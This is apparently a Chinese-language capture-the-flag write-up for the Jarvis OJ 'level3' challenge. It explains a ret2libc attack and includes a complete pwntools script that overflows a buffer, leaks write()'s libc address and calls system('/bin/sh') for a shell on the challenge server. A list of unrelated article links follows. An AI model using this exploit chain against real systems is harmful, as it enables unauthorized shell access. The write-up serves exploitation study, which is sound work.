思路:标准的 ret2libc,先通过 rop 控制 puts 出某个 GOT 中的地址以找到 libc 的基址,有了 libc 的基地址后,libc 中的所有函数和字符串的地址就知道了,构造一个 system(“/bin/sh”) 的函数调用栈即可

from pwn import *
#conn=process(’./level3’)
conn=remote(“pwn2.jarvisoj.com”,“9879”)
libc=ELF(’./libc-2.19.so’)
e=ELF(’./level3’)
pad=0x88+0x4 #buf长度为0x88 + 偏移地址0x4
vulfun_addr=0x0804844B #子程序位置
write_plt=e.symbols[‘write’] #获取write函数地址
write_got=e.got[‘write’] #获取write got表中地址

payload1=‘A’*pad+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
#覆盖前面的空间和ebp,然后执行write函数,设write函数的返回地址为vulnerable函数,然后给write函数传入三个参数(1,write的地址,4)
conn.recvuntil(“Input:\n”)
#接受"input:\n"
conn.sendline(payload1)
#传入payload
write_addr=u32(conn.recv(4))
##获得泄露的write()的地址,拦截前4个字节;
#calculate the system_address in memory
libc_write=libc.symbols[‘write’] #获取.so文件中write地址
libc_system=libc.symbols[‘system’]#获取.so文件中system地址
libc_sh=libc.search(’/bin/sh’).next()
#在.so文件搜索/bin/sh 地址
system_addr=write_addr-libc_write+libc_system
sh_addr=write_addr-libc_write+libc_sh

payload2=‘A’*pad+“BBBB”+p32(system_addr)+“dead”+p32(sh_addr)
#system初始地址,传入初始化值,值为4个字符,在传入/bin/sh地址.
conn.sendline(payload2)
conn.interactive()

通过获得有GOT/PLT表项的函数write()的真实地址以及.so文件中的write()和system函数和"/bin/sh",字符串偏移量与程序运行时三者的运行时(真实)地址偏移量相同的关系,通过write()的真实地址+相等偏移量获得system函数的调用地址和"/bin/sh" 字符串的地址.
write()在32位下传值为 write(1,write_got,4);
write()在64位下传值为 write(1,write_got,8);

fd: 文件描述符[1表示写到标准输出,即屏幕]
buf: 指定的缓冲区,即指针,指向一段内存单元;
nbyte: 要写入文件指定的字节数;
返回值: 写入文档的字节数(成功),-1(出错);
当写到nbyte的字节限制时,就write()结束了.

程序中为plt表,.so文件中为got表, plt表中存放的是函数在got表中该项的地址,got表存放的是函数在内存中真实地址, plt[write]指向got[write], got[write]指向write函数在内存中地址.
plt表在服务器和客户机是一样的,不一样的是函数在内存中的地址.程序运行后加载动态库,把动态库中相应的函数地址填入GOT表.
libc文件中不同函数,数据之间的偏移量是一样的.

joj level 3 wp相关推荐

  1. ls –l total 0_W3 Total Cache与WP Super Cache –打包中的哪一个领先?

    ls –l total 0 W3 Total Cache or WP Super Cache – which one to use? Is one better than the other? If ...

  2. Linux CPU数量判断命令

    其实只要 #include <unistd.h> long num = sysconf(_SC_NPROCESSORS_ONLN); 便可以获得当前CPU的数量... 判断依据: 1.具有 ...

  3. Linux中/proc目录下文件详解

    Linux中/proc目录下文件详解(一) 声明:可以自由转载本文,但请务必保留本文的完整性. 作者:张子坚 email:zhangzijian@163.com 说明:本文所涉及示例均在fedora ...

  4. linux的根文件系统中的proc文件夹详解

    什么是proc文件系统    |linux /proc目录介绍|proc中文手册 proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间.它以文件系统的方式为访问系统内核数据的操作提供接 ...

  5. KVM libvirt的CPU热添加

    1.CentOS7.3: 需求:说明:默认有两个cpu,由于压力较大的情况下,需要在线添加一个1个cpu 添加cpu前,查看cpu信息 [root@localhost ~]# cat /proc/cp ...

  6. 【转】CPU位数、核数、个数

    转自:http://blog.chinaunix.net/uid-20344928-id-2985712.html 32 or 64 linux下查看操作CPU的运行位数: getconf LONG_ ...

  7. linux oracle 查看版本号,Linux下如何查看版本信息

    1.uname -a (Linux查看版本当前操作系统内核信息) [root@izuf66j2kiq945yl5br4ubz yum.repos.d]# uname -a Linux izuf66j2 ...

  8. 查看centos系统配置详细信息

    今天工作当中发现如果能把所有Linux信息全部追溯到脚本中,后来想了想写了个简单的基本,在之基础上可以添加相应的命令行. #!/bin/sh date >>/root/pcserverin ...

  9. Linux系统资源管理 之 硬件信息

    1. CPU lscpu : 一般不加参数,直接使用该命令. cat /proc/cpuinfo: 该文件中列出了CPU的详细信息,类似于'lscpu'命令 lscpu [niesh @niesh D ...

最新文章

  1. flash程序员2012最大转变
  2. linux下查找网口_Linux查看网络端口
  3. 条件随机场 python_如何直观地理解条件随机场,并通过PyTorch简单地实现
  4. easyui select ajax,easyui的combobox根据后台数据实现自动输入提示功能
  5. 华为的型号命名规则_华为最实惠5G手机来了!畅享Z 5G宣布:5月24日发
  6. Hibernate 一对一外键单向关联
  7. [原]ASP.NET中使用JQUERY-EASYUI后,解决ClientScript.RegisterStartupScript 所注册脚本执行两次...
  8. 【c++ primer读书笔记】【第6章】函数
  9. html multiply属性,multiply
  10. Magisk中文文档
  11. 高音质无线蓝牙耳机推荐,2020游戏低延迟蓝牙耳机分享
  12. excel中if如何加android,Excel 如何实现函数IF的嵌套超过七层
  13. windows server2012 r2增加内网ip
  14. ARM9开发板初体验----使用Uboot通过USB下载线烧写bin文件
  15. c语言自我介绍范文,个性的自我介绍范文5篇
  16. AI智能车牌识别技术如何提升出行体验?
  17. nmn成分是什么,吃nmn对身体有哪些好处,掌握知识点
  18. 河南计算机与科学研究生招生,2021年河南理工大学计算机科学与技术(081200)硕士研究生招生信息_考研招生计划和招生人数 - 学途吧...
  19. ceph-deploy离线部署ceph集群及报错解决FAQ
  20. MapReduce学习1:MapReduce基本概念

热门文章

  1. ubuntu 16.04怎么更改文件夹里面所有子文件权限
  2. NOIP 2017 游记
  3. XEN的启动信息输出到“Platform timer is 14.318MHz HPET”就暂停接收的解决办法
  4. 【Flutter 问题系列第 15 篇】如何给 Flutter 中的图片设置透明度
  5. Anaconda命令整理
  6. raft协议--面试问答题
  7. Java虚拟机面试问题
  8. 微信接口返回的状态码
  9. 读《一个程序员的奋斗史》有感
  10. VMWare共享windows文件夹到Ubuntu虚拟机